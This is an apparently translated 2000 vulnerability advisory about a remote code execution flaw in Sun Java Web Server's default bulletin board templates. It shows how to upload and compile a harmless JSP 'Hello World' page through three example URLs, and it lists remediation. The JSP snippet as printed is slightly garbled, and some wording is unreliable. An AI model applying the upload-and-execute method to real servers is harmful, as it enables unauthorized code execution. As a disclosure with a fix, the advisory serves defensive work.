Remote executable command vulnerability in Sun Java Web Server

Remote executable command vulnerability in Sun Java Web Server
Vulnerability release Time: 2000-7-13 17:41:00
Leakage description:
Under the default installation settings of Sun Java Web Server on Solaris and Windows NT. Attackers can remotely execute arbitrary commands by exploiting vulnerabilities in the template program of the bulletin board version.
The vulnerability test method is as follows:
The following example shows how to upload and execute the code, while "Hello World" is displayed on the server ".
Enter the following JSP code to print "Hello World ":
<% String s = "Hello World"; %>
<% = S %>
Use the following announcement to connect to the Post code:
Http://jws.site/examples/applications/bboard/bboard_frames.html
Check whether the code is uploaded:
Http://jws.site/board.html
Compile and execute the code by executing the following connection:
Http://jws.site/servlet/com.sun.server.http.pagecompile.jsp.runtime.JspServlet/board.html
Solution method:
Follow the instructions in "How to secure a Web site that uses the Java web Server" in the Java Web Server Manual, or refer to the following link:
Http://www.sun.com/software/jwebserver/faq/jwsca-2000-02.html
Or simply remove these template files installed by default.